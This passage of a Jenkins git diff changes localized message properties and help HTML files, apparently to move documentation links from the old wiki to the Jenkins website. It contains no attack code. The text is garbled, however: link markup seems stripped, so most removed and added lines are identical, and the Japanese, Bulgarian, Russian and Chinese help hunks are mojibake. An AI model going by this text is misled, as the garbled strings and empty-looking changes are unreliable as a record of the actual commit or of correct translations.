\ - Tomcat i18n for more details. + See Containers and \ + Tomcat i18n for more details. Hudson.AdministerPermission.Description=\ This permission grants the ability to make system-wide configuration changes, \ as well as perform highly sensitive operations that amounts to full local system access \ diff --git a/core/src/main/resources/hudson/model/Messages_ja.properties b/core/src/main/resources/hudson/model/Messages_ja.properties index 3d51ee20c7..98e610f5c9 100644 --- a/core/src/main/resources/hudson/model/Messages_ja.properties +++ b/core/src/main/resources/hudson/model/Messages_ja.properties @@ -114,8 +114,8 @@ Hudson.NotANonNegativeNumber=0\u4ee5\u4e0a\u306e\u6570\u5b57\u3092\u6307\u5b9a\u Hudson.NotANegativeNumber=\u8ca0\u306e\u6570\u5b57\u3092\u6307\u5b9a\u3057\u3066\u304f\u3060\u3055\u3044\u3002 Hudson.NotUsesUTF8ToDecodeURL=\ URL\u304cUTF-8\u3067\u30c7\u30b3\u30fc\u30c9\u3055\u308c\u3066\u3044\u307e\u305b\u3093\u3002\u30b8\u30e7\u30d6\u540d\u306a\u3069\u306bnon-ASCII\u306a\u6587\u5b57\u3092\u4f7f\u7528\u3059\u308b\u5834\u5408\u306f\u3001\ - \u30b3\u30f3\u30c6\u30ca\u306e\u8a2d\u5b9a\u3084\ - Tomcat i18N\u3092\u53c2\u8003\u306b\u8a2d\u5b9a\u3057\u3066\u304f\u3060\u3055\u3044\u3002 + \u30b3\u30f3\u30c6\u30ca\u306e\u8a2d\u5b9a\u3084\ + Tomcat i18N\u3092\u53c2\u8003\u306b\u8a2d\u5b9a\u3057\u3066\u304f\u3060\u3055\u3044\u3002 Hudson.AdministerPermission.Description=\ (OS\u304c\u8a31\u53ef\u3059\u308b\u7bc4\u56f2\u5185\u3067\u306e\uff09\u30ed\u30fc\u30ab\u30eb\u30b7\u30b9\u30c6\u30e0\u5168\u4f53\u3078\u306e\u30a2\u30af\u30bb\u30b9\u306b\u76f8\u5f53\u3059\u308b\u3001\ \u3068\u3066\u3082\u6ce8\u610f\u304c\u5fc5\u8981\u306a\u64cd\u4f5c\u3068\u540c\u7a0b\u5ea6\u306e\u3001\u30b7\u30b9\u30c6\u30e0\u5168\u4f53\u306e\u8a2d\u5b9a\u5909\u66f4\u3092\u8a31\u53ef\u3057\u307e\u3059\u3002 diff --git a/core/src/main/resources/hudson/model/Messages_lt.properties b/core/src/main/resources/hudson/model/Messages_lt.properties index 6be646658f..a820b31b50 100644 --- a/core/src/main/resources/hudson/model/Messages_lt.properties +++ b/core/src/main/resources/hudson/model/Messages_lt.properties @@ -123,8 +123,8 @@ Hudson.NotANegativeNumber=Ne neigiamas skai\u010dius Hudson.NotUsesUTF8ToDecodeURL=\ J\u016bs\u0173 konteineris nenaudoja UTF-8 nuorod\u0173 dekodavimui. Jei j\u016bs naudojate ne-ASCII simbolius darb\u0173 pavadinimams ir pan., \ tai sukels problem\u0173. \ - Daugiau informacijos apie Konteinerius ir \ - Tomcat i18n. + Daugiau informacijos apie Konteinerius ir \ + Tomcat i18n. Hudson.AdministerPermission.Description=\ \u0160i teis\u0117 duoda galimyb\u0119 daryti sistemos lygio konfig\u016bracijos pakeitimus, \ taip pat vykdyti labai jautrius veiksmus, \u012fskaitant piln\u0105 prieig\u0105 prie sistemos \ diff --git a/core/src/main/resources/hudson/model/Messages_pt_BR.properties b/core/src/main/resources/hudson/model/Messages_pt_BR.properties index 4ed07299f1..f3519390d1 100644 --- a/core/src/main/resources/hudson/model/Messages_pt_BR.properties +++ b/core/src/main/resources/hudson/model/Messages_pt_BR.properties @@ -194,8 +194,8 @@ UpdateCenter.Status.UnknownHostException=Erro ao resolver o no # \ # Your container doesn''t use UTF-8 to decode URLs. If you use non-ASCII characters as a job name etc, \ # this will cause problems. \ -# See Containers and \ -# Tomcat i18n for more details. +# See Containers and \ +# Tomcat i18n for more details. Hudson.NotUsesUTF8ToDecodeURL=n\u00e3o use caracteres UTF-8 nas URLs # Checking internet connectivity UpdateCenter.Status.CheckingInternet=Checando conex\u00e3o com a Internet diff --git a/core/src/main/resources/hudson/model/Messages_sr.properties b/core/src/main/resources/hudson/model/Messages_sr.properties index 01085a0393..7a47af65a8 100644 --- a/core/src/main/resources/hudson/model/Messages_sr.properties +++ b/core/src/main/resources/hudson/model/Messages_sr.properties @@ -116,8 +116,8 @@ Hudson.NotANumber=\u041D\u0438\u0458\u0435 \u0431\u0440\u043E\u0458\u043A\u0430 Hudson.NotAPositiveNumber=\u041D\u0438\u0458\u0435 \u043F\u043E\u0437\u0438\u0442\u0438\u0432\u0430\u043D \u0431\u0440\u043E\u0458. Hudson.NotANonNegativeNumber=\u0411\u0440\u043E\u0458 \u043D\u0435\u043C\u043E\u0436\u0435 \u0431\u0438\u0442\u0438 \u043D\u0435\u0433\u0430\u0442\u0438\u0432\u0430\u043D. Hudson.NotANegativeNumber=\u041D\u0438\u0458\u0435 \u043D\u0435\u0433\u0430\u0442\u0438\u0432\u0430\u043D \u0431\u0440\u043E\u0458. -Hudson.NotUsesUTF8ToDecodeURL=URL \u0430\u0434\u0440\u0435\u0441\u0435 \u0432\u0430\u0448\u0435\u0433 \u043A\u043E\u043D\u0442\u0435\u0458\u043D\u0435\u0440\u0430 \u043D\u0438\u0441\u0443 \u0443\u043D\u0435\u0448\u0435\u043D\u0438 \u043F\u043E \u0444\u043E\u0440\u043C\u0430\u0442\u0443 UTF-8. \u0418\u043C\u0435\u043D\u0430 \u0441\u0430 \u0437\u043D\u0430\u0446\u0438\u043C\u0430 \u0438\u0437\u0432\u0430\u043D ASCII \u043C\u043E\u0433\u0443 \u0438\u0437\u0430\u0437\u0432\u0430\u0442\u0438 \u043F\u0440\u043E\u0431\u043B\u0435\u043C\u0435. \u041C\u043E\u043B\u0438\u043C\u043E \u0432\u0430\u0441 \u043F\u0440\u043E\u0447\u0438\u0442\u0430\u0458\u0442\u0435 Containers \u0438 \ - Tomcat i18n. +Hudson.NotUsesUTF8ToDecodeURL=URL \u0430\u0434\u0440\u0435\u0441\u0435 \u0432\u0430\u0448\u0435\u0433 \u043A\u043E\u043D\u0442\u0435\u0458\u043D\u0435\u0440\u0430 \u043D\u0438\u0441\u0443 \u0443\u043D\u0435\u0448\u0435\u043D\u0438 \u043F\u043E \u0444\u043E\u0440\u043C\u0430\u0442\u0443 UTF-8. \u0418\u043C\u0435\u043D\u0430 \u0441\u0430 \u0437\u043D\u0430\u0446\u0438\u043C\u0430 \u0438\u0437\u0432\u0430\u043D ASCII \u043C\u043E\u0433\u0443 \u0438\u0437\u0430\u0437\u0432\u0430\u0442\u0438 \u043F\u0440\u043E\u0431\u043B\u0435\u043C\u0435. \u041C\u043E\u043B\u0438\u043C\u043E \u0432\u0430\u0441 \u043F\u0440\u043E\u0447\u0438\u0442\u0430\u0458\u0442\u0435 Containers \u0438 \ + Tomcat i18n. Hudson.AdministerPermission.Description=\u0414\u0430\u0458\u0435 \u043F\u0440\u0430\u0432\u043E \u0434\u0430 \u043C\u0435\u045A\u0430 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 \u0441\u0438\u0441\u0442\u0435\u043C\u0430, \u043A\u0430\u043E \u0438 \u043A\u043E\u043C\u043F\u043B\u0435\u0442\u0430\u043D \u043F\u0440\u0438\u0441\u0442\u0443\u043F \u043B\u043E\u043A\u0430\u043B\u043D\u043E\u0433 \u0441\u0438\u0441\u0442\u0435\u043C\u0430 \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0430 \u0443 \u0458\u0435\u0434\u043D\u0430\u043A\u0435 \u043F\u043E \u043E\u043A\u0432\u0438\u0440\u0443 \u043F\u0440\u0430\u0432\u0430 \u0443 \u0441\u043A\u043B\u0430\u0434\u0443 \u0441\u0430 \u043E\u043F\u0435\u0440\u0430\u0442\u0438\u0432\u043D\u0438 \u0441\u0438\u0441\u0442\u0435\u043C\u043E\u043C. Hudson.ReadPermission.Description= Hudson.RunScriptsPermission.Description=\u041E\u0431\u0430\u0432\u0435\u0437\u043D\u043E \u0437\u0430 \u0438\u0437\u0432\u0440\u0448\u0430\u0432\u0430\u045A\u0435 \u0441\u043A\u0440\u0438\u043F\u0442\u0430 \u0443\u043D\u0443\u0442\u0430\u0440 Jenkins \u043F\u0440\u043E\u0446\u0435\u0441\u0430, \u043A\u0430\u043E \u043D\u0430 \u043F\u0440\u0438\u043C\u0435\u0440 \u043F\u0440\u0435\u043A\u043E Groovy \u043A\u043E\u043D\u0441\u043E\u043B\u0435 \u0438\u043B\u0438 \u043A\u043E\u043C\u0430\u043D\u0434\u0435. diff --git a/core/src/main/resources/hudson/model/Messages_zh_CN.properties b/core/src/main/resources/hudson/model/Messages_zh_CN.properties index 1d07150da1..2dd933f56c 100644 --- a/core/src/main/resources/hudson/model/Messages_zh_CN.properties +++ b/core/src/main/resources/hudson/model/Messages_zh_CN.properties @@ -100,8 +100,8 @@ Hudson.NotANegativeNumber=Not a negative number Hudson.NotUsesUTF8ToDecodeURL=\ Your container doesn''t use UTF-8 to decode URLs. If you use non-ASCII characters as a job name etc, \ this will cause problems. \ - See Containers and \ - Tomcat i18n for more details. + See Containers and \ + Tomcat i18n for more details. Hudson.AdministerPermission.Description=\ This permission grants the ability to make system-wide configuration changes, \ as well as perform highly sensitive operations that amounts to full local system access \ diff --git a/core/src/main/resources/hudson/model/Messages_zh_TW.properties b/core/src/main/resources/hudson/model/Messages_zh_TW.properties index 2ffc39e21f..9fb229cc07 100644 --- a/core/src/main/resources/hudson/model/Messages_zh_TW.properties +++ b/core/src/main/resources/hudson/model/Messages_zh_TW.properties @@ -117,8 +117,8 @@ Hudson.NotANonNegativeNumber=\u4e0d\u80fd\u70ba\u8ca0\u6578 Hudson.NotANegativeNumber=\u4e0d\u662f\u8ca0\u6578 Hudson.NotUsesUTF8ToDecodeURL=\ \u60a8\u7684\u5bb9\u5668\u4e0d\u662f\u4f7f\u7528 UTF-8 \u89e3\u8b6f URL\u3002\u5982\u679c\u60a8\u5728\u4f5c\u696d\u7b49\u540d\u7a31\u4e2d\u4f7f\u7528\u4e86\u975e ASCII \u5b57\u5143\uff0c\u53ef\u80fd\u6703\u9020\u6210\u554f\u984c\u3002\ - \u8acb\u53c3\u8003 Container \u53ca \ - Tomcat i18n \u8cc7\u6599\u3002 + \u8acb\u53c3\u8003 Container \u53ca \ + Tomcat i18n \u8cc7\u6599\u3002 Hudson.AdministerPermission.Description=\ \u6388\u8207\u8b8a\u66f4\u6574\u500b\u7cfb\u7d71\u8a2d\u5b9a\u7684\u6b0a\u9650\u3002\ \u5305\u62ec\u57f7\u884c\u9ad8\u5ea6\u654f\u611f\u7684\u4f5c\u696d\uff0c\u751a\u81f3\u53ef\u4ee5\u5b58\u53d6\u6574\u500b\u672c\u5730\u7cfb\u7d71 \ diff --git a/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help.html b/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help.html index 496799b63e..26f61309e6 100644 --- a/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help.html +++ b/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help.html @@ -30,7 +30,7 @@ of the same project will only succeed if the parameter values are different, or if the Execute concurrent builds if necessary option is enabled.

                                                    - See the Parameterized Builds wiki page for more information about + See the Parameterized Builds documentation for more information about this feature. diff --git a/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_de.html b/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_de.html index 0a558a6774..15fb51e81c 100644 --- a/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_de.html +++ b/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_de.html @@ -10,6 +10,6 @@ nach Namen unterschieden. Sie können daher auch mehrere Parameter verwenden, solange diese unterschiedliche Namen tragen.

                                                    - Im Jenkins Wiki + Auf der Jenkins website finden Sie weitere Informationen über parametrisierte Builds. diff --git a/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_fr.html b/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_fr.html index 63ad1585bb..f1eba21dcc 100644 --- a/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_fr.html +++ b/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_fr.html @@ -9,6 +9,6 @@ noms. Vous pouvez donc avoir des multiples paramètres, du moment qu'ils ont des noms distincts.

                                                    - Consultez cette page Wiki + Consultez cette page pour plus de discussions autour de cette fonctionnalité. diff --git a/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_ja.html b/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_ja.html index 429b1a3c3c..86a0381cf4 100644 --- a/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_ja.html +++ b/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_ja.html @@ -7,5 +7,5 @@ ã“ã“ã§ã¯ã€ãƒ“ルドãŒå¿…è¦ã¨ã™ã‚‹ãƒ‘ラメータを設定ã—ã¾ã™ã€‚パラメータã¯åå‰ã§è­˜åˆ¥ã™ã‚‹ã®ã§ã€ç•°ãªã‚‹åå‰ã‚’使用ã™ã‚Œã°è¤‡æ•°ã®ãƒ‘ラメータを使用ã§ãã¾ã™ã€‚

                                                    - ã“ã®æ©Ÿèƒ½ã®è©³ç´°ã«ã¤ã„ã¦ã¯ã€Wikiã®é …目をå‚ç…§ã—ã¦ãã ã•ã„。 + ã“ã®æ©Ÿèƒ½ã®è©³ç´°ã«ã¤ã„ã¦ã¯ã€Wikiã®é …目をå‚ç…§ã—ã¦ãã ã•ã„。 diff --git a/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_tr.html b/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_tr.html index a89669c4c5..5b885ac6a6 100644 --- a/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_tr.html +++ b/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_tr.html @@ -9,6 +9,6 @@ by their names, and so you can have multiple parameters provided that they have different names.

                                                    - See the Wiki topic + See the Jenkins site for more discussions about this feature. diff --git a/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_zh_TW.html b/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_zh_TW.html index 8ee9be6a2e..050c733cb8 100644 --- a/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_zh_TW.html +++ b/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_zh_TW.html @@ -7,6 +7,6 @@ åƒæ•¸ä¹‹é–“是以å稱來å€éš”,所以如果您è¦ç”¨åˆ°å¤šå€‹åƒæ•¸ï¼Œè«‹æŒ‡å®šä¸åŒçš„å稱。

                                                    - è«‹åƒè€ƒé€™ç¯‡ Wiki + è«‹åƒè€ƒé€™ç¯‡ Wiki æ¢ç›®æœ‰é—œæœ¬åŠŸèƒ½çš„更多討論。 diff --git a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/help-allowsSignup.html b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/help-allowsSignup.html index 124f422cba..cb7b6fa7f1 100644 --- a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/help-allowsSignup.html +++ b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/help-allowsSignup.html @@ -7,5 +7,5 @@

                                                    By default, Jenkins does not use captcha verification if the user creates an account by themself. If you'd like to enable captcha verification, install a captcha support plugin, e.g. the Jenkins - JCaptcha Plugin. + JCaptcha Plugin. diff --git a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/help-allowsSignup_bg.html b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/help-allowsSignup_bg.html index daa6a4ffd6..686e4f9b81 100644 --- a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/help-allowsSignup_bg.html +++ b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/help-allowsSignup_bg.html @@ -9,6 +9,6 @@ Стандартно Jenkins не използва графична защита, че човек, а не Ñкрипт Ñъздава региÑтрациÑта. Ðко такава функционалноÑÑ‚ ви Ñ‚Ñ€Ñбва, инÑталирайте Ñъответната приÑтавка, напр. - JCaptcha + JCaptcha Plugin. diff --git a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/help-allowsSignup_zh_TW.html b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/help-allowsSignup_zh_TW.html index e2535f2729..81d911bda1 100644 --- a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/help-allowsSignup_zh_TW.html +++ b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/help-allowsSignup_zh_TW.html @@ -6,5 +6,5 @@

                                                    é è¨­æƒ…æ³ä¸‹ï¼ŒJenkins ä¸æœƒä½¿ç”¨ CAPTCHA 驗證使用者帳號是ä¸æ˜¯ç”±çœŸçš„人建立。 如果您想è¦ä½¿ç”¨ CAPTCHA é©—è­‰æ©Ÿåˆ¶ï¼Œè«‹å®‰è£ CAPTCHA 外掛程å¼ï¼Œä¾‹å¦‚ Jenkins - JCaptcha Plugin。 + JCaptcha Plugin。 diff --git a/core/src/main/resources/hudson/tasks/Fingerprinter/help.html b/core/src/main/resources/hudson/tasks/Fingerprinter/help.html index b84d67f0c3..cdbcdd57c8 100644 --- a/core/src/main/resources/hudson/tasks/Fingerprinter/help.html +++ b/core/src/main/resources/hudson/tasks/Fingerprinter/help.html @@ -26,6 +26,6 @@ is used) need to use this and record fingerprints.

                                                    - See this document + See this document for more details. diff --git a/core/src/main/resources/hudson/tasks/Fingerprinter/help_de.html b/core/src/main/resources/hudson/tasks/Fingerprinter/help_de.html index a605400804..5416a58285 100644 --- a/core/src/main/resources/hudson/tasks/Fingerprinter/help_de.html +++ b/core/src/main/resources/hudson/tasks/Fingerprinter/help_de.html @@ -27,5 +27,5 @@ Projekt, in dem eine Datei produziert wird, sondern alle Projekte, welche die Datei verwenden) diese Funktion verenden und Fingerabdrücke aufzeichnen.

                                                    - Weitere Informationen (auf Englisch) + Weitere Informationen (auf Englisch) diff --git a/core/src/main/resources/hudson/tasks/Fingerprinter/help_fr.html b/core/src/main/resources/hudson/tasks/Fingerprinter/help_fr.html index 0a353d46fe..ab9fadd307 100644 --- a/core/src/main/resources/hudson/tasks/Fingerprinter/help_fr.html +++ b/core/src/main/resources/hudson/tasks/Fingerprinter/help_fr.html @@ -33,6 +33,6 @@

                                                    Voir - ce document + ce document pour plus de details. diff --git a/core/src/main/resources/hudson/tasks/Fingerprinter/help_ja.html b/core/src/main/resources/hudson/tasks/Fingerprinter/help_ja.html index 6f4e235eb3..373c21c411 100644 --- a/core/src/main/resources/hudson/tasks/Fingerprinter/help_ja.html +++ b/core/src/main/resources/hudson/tasks/Fingerprinter/help_ja.html @@ -26,7 +26,7 @@ ファイルを利用ã™ã‚‹ãƒ—ロジェクト)ã™ã¹ã¦ã§ï¼Œãƒ•ã‚¡ã‚¤ãƒ«æŒ‡ç´‹ã‚’記録ã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚

                                                    より詳ã—ã㯠- ã“ã®ãƒ‰ã‚­ãƒ¥ãƒ¡ãƒ³ãƒˆã‚’ + ã“ã®ãƒ‰ã‚­ãƒ¥ãƒ¡ãƒ³ãƒˆã‚’ å‚ç…§ã—ã¦ãã ã•ã„。 diff --git a/core/src/main/resources/hudson/tasks/Fingerprinter/help_pt_BR.html b/core/src/main/resources/hudson/tasks/Fingerprinter/help_pt_BR.html index 6087ebb004..5c113191f7 100644 --- a/core/src/main/resources/hudson/tasks/Fingerprinter/help_pt_BR.html +++ b/core/src/main/resources/hudson/tasks/Fingerprinter/help_pt_BR.html @@ -26,6 +26,6 @@ é usado) necessitam usar isto e gravar os fingerprints.

                                                    - Veja esta documentação + Veja esta documentação para mais detalhes. diff --git a/core/src/main/resources/hudson/tasks/Fingerprinter/help_ru.html b/core/src/main/resources/hudson/tasks/Fingerprinter/help_ru.html index 60aecef37a..057832d20c 100644 --- a/core/src/main/resources/hudson/tasks/Fingerprinter/help_ru.html +++ b/core/src/main/resources/hudson/tasks/Fingerprinter/help_ru.html @@ -26,6 +26,6 @@ должны также включить Ñту опцию и ÑохранÑÑ‚ÑŒ Ñвои отпечатки.

                                                    - Прочтите Ñтот документ + Прочтите Ñтот документ еÑли вы хотите узнать больше. diff --git a/core/src/main/resources/hudson/tasks/Fingerprinter/help_tr.html b/core/src/main/resources/hudson/tasks/Fingerprinter/help_tr.html index 8464d5a98a..36e010f00d 100644 --- a/core/src/main/resources/hudson/tasks/Fingerprinter/help_tr.html +++ b/core/src/main/resources/hudson/tasks/Fingerprinter/help_tr.html @@ -25,5 +25,5 @@ aynı zamanda bu dosyayı kullanan projelerin de) bunu kullanması ve parmakizlerini kaydetmesi gereklidir.

                                                    - Daha fazla bilgi için lütfen tıklayın + Daha fazla bilgi için lütfen tıklayın diff --git a/core/src/main/resources/hudson/tasks/Fingerprinter/help_zh_TW.html b/core/src/main/resources/hudson/tasks/Fingerprinter/help_zh_TW.html index 87133e07f0..b38287df9e 100644 --- a/core/src/main/resources/hudson/tasks/Fingerprinter/help_zh_TW.html +++ b/core/src/main/resources/hudson/tasks/Fingerprinter/help_zh_TW.html @@ -24,5 +24,5 @@ 都è¦é–‹å•ŸæŒ‡ç´‹è¨˜éŒ„功能。

                                                    - 詳情請åƒè€ƒé€™ä»½æ–‡ä»¶ã€‚ + 詳情請åƒè€ƒé€™ä»½æ–‡ä»¶ã€‚ diff --git a/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential.properties b/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential.properties index 677be84908..b71d56349f 100644 --- a/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential.properties +++ b/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential.properties @@ -20,4 +20,4 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -description=To access older versions of JDK, you need to have Oracle Account. \ No newline at end of file +description=To access older versions of JDK, you need to have Oracle Account. \ No newline at end of file diff --git a/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_de.properties b/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_de.properties index f3146f3e65..672bfce5c0 100644 --- a/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_de.properties +++ b/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_de.properties @@ -4,4 +4,4 @@ Enter\ Your\ Oracle\ Account=Bitte Oracle-Account eintragen OK=Ok Password=Passwort Username=Benutzername -description=Um \u00E4ltere Versionen des JDKs zu erlangen, ben\u00F6tigen Sie einen Oracle Account. +description=Um \u00E4ltere Versionen des JDKs zu erlangen, ben\u00F6tigen Sie einen Oracle Account. diff --git a/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_es.properties b/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_es.properties index ef8b59b2ce..7d6223c69f 100644 --- a/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_es.properties +++ b/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_es.properties @@ -22,7 +22,7 @@ Password=Contraseña Username=Usuario -# To access older versions of JDK, you need to have Oracle Account. -description=Desafortunadamente Oracle exige que para descargar antiguas versiones del JDK uses una Cuenta de Oracle. +# To access older versions of JDK, you need to have Oracle Account. +description=Desafortunadamente Oracle exige que para descargar antiguas versiones del JDK uses una Cuenta de Oracle. Enter\ Your\ Oracle\ Account=Introduce un usuario y contraseña válidos OK=Aceptar diff --git a/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_ja.properties b/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_ja.properties index a223567c49..219b0f8127 100644 --- a/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_ja.properties +++ b/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_ja.properties @@ -24,5 +24,5 @@ Enter\ Your\ Oracle\ Account=Oracle\u30a2\u30ab\u30a6\u30f3\u30c8\u306e\u5165\u5 Username=\u30e6\u30fc\u30b6\u540d Password=\u30d1\u30b9\u30ef\u30fc\u30c9 description=\ - JDK\u3092\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3059\u308b\u306b\u306f\u3001Oracle\u306e\u30a2\u30ab\u30a6\u30f3\u30c8\u304c\u5fc5\u8981\u3067\u3059\u3002 + JDK\u3092\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3059\u308b\u306b\u306f\u3001Oracle\u306e\u30a2\u30ab\u30a6\u30f3\u30c8\u304c\u5fc5\u8981\u3067\u3059\u3002 OK=OK diff --git a/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_pt_BR.properties b/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_pt_BR.properties index b02b3afbb5..92d284a351 100644 --- a/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_pt_BR.properties +++ b/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_pt_BR.properties @@ -24,5 +24,5 @@ Username=Usu\u00e1rio Password=Senha OK=OK Enter\ Your\ Oracle\ Account=Informe sua conta da Oracle -# To access older versions of JDK, you need to have Oracle Account. -description=Para acessar vers\u00f5es antigas do JDK, voc\u00ea deve possuir uma conta da Oracle. +# To access older versions of JDK, you need to have Oracle Account. +description=Para acessar vers\u00f5es antigas do JDK, voc\u00ea deve possuir uma conta da Oracle. diff --git a/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_sr.properties b/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_sr.properties index c1866bea55..c77ad735c4 100644 --- a/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_sr.properties +++ b/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_sr.properties @@ -1,7 +1,7 @@ # This file is under the MIT License by authors Enter\ Your\ Oracle\ Account=\u0423\u043D\u0435\u0441\u0438\u0442\u0435 \u0432\u0430\u0448 Oracle \u043D\u0430\u043B\u043E\u0433 -description=\u0414\u0430 \u043F\u0440\u0438\u0441\u0442\u0443\u043F\u0438\u0442\u0435 \u0441\u0442\u0430\u0440\u0438\u0458\u0438\u043C \u0432\u0435\u0440\u0437\u0438\u0458\u0430\u043C\u0430 JDK, \u043C\u043E\u0440\u0430\u0442\u0435 \u0438\u043C\u0430\u0442\u0438 Oracle \u043D\u0430\u043B\u043E\u0433. +description=\u0414\u0430 \u043F\u0440\u0438\u0441\u0442\u0443\u043F\u0438\u0442\u0435 \u0441\u0442\u0430\u0440\u0438\u0458\u0438\u043C \u0432\u0435\u0440\u0437\u0438\u0458\u0430\u043C\u0430 JDK, \u043C\u043E\u0440\u0430\u0442\u0435 \u0438\u043C\u0430\u0442\u0438 Oracle \u043D\u0430\u043B\u043E\u0433. Username=\u041A\u043E\u0440\u0438\u0441\u043D\u0438\u0447\u043A\u043E \u0438\u043C\u0435 Password=\u041B\u043E\u0437\u0438\u043D\u043A\u0430 OK=\u0423\u0440\u0435\u0434\u0443 diff --git a/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_zh_TW.properties b/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_zh_TW.properties index 96e6a016e9..a3262debbe 100644 --- a/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_zh_TW.properties +++ b/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_zh_TW.properties @@ -21,7 +21,7 @@ # THE SOFTWARE. Enter\ Your\ Oracle\ Account=\u8f38\u5165\u60a8\u7684 Oracle \u5e33\u865f -description=\u60a8\u8981\u6709 Oracle \u5e33\u865f\u624d\u80fd\u62ff\u5230\u820a\u7248 JDK\u3002 +description=\u60a8\u8981\u6709 Oracle \u5e33\u865f\u624d\u80fd\u62ff\u5230\u820a\u7248 JDK\u3002 Username=\u4f7f\u7528\u8005\u540d\u7a31 Password=\u5bc6\u78bc OK=\u78ba\u5b9a diff --git a/core/src/main/resources/hudson/triggers/SCMTrigger/help.html b/core/src/main/resources/hudson/triggers/SCMTrigger/help.html index bc1da6300c..f4243eb26f 100644 --- a/core/src/main/resources/hudson/triggers/SCMTrigger/help.html +++ b/core/src/main/resources/hudson/triggers/SCMTrigger/help.html @@ -5,5 +5,5 @@ Note that this is going to be an expensive operation for CVS, as every polling requires Jenkins to scan the entire workspace and verify it with the server. Consider setting up a "push" trigger to avoid this overhead, as described in - this document + this document diff --git a/core/src/main/resources/hudson/triggers/SCMTrigger/help_de.html b/core/src/main/resources/hudson/triggers/SCMTrigger/help_de.html index 60ec679775..ec159cbc7a 100644 --- a/core/src/main/resources/hudson/triggers/SCMTrigger/help_de.html +++ b/core/src/main/resources/hudson/triggers/SCMTrigger/help_de.html @@ -7,6 +7,6 @@ ressourcenintensive Operation darstellt, da Jenkins bei jeder Abfrage den kompletten Arbeitsbereich überprüfen und mit dem CVS-Server abgleichen muss. Ziehen Sie daher alternativ einen "Push"-Auslöser in Betracht, wie er in - diesem Dokument beschrieben + diesem Dokument beschrieben wird. diff --git a/core/src/main/resources/hudson/triggers/SCMTrigger/help_fr.html b/core/src/main/resources/hudson/triggers/SCMTrigger/help_fr.html index e8a9b9c1d2..fea5d45d38 100644 --- a/core/src/main/resources/hudson/triggers/SCMTrigger/help_fr.html +++ b/core/src/main/resources/hudson/triggers/SCMTrigger/help_fr.html @@ -8,5 +8,5 @@ workspace et le comparer avec le serveur. Envisagez 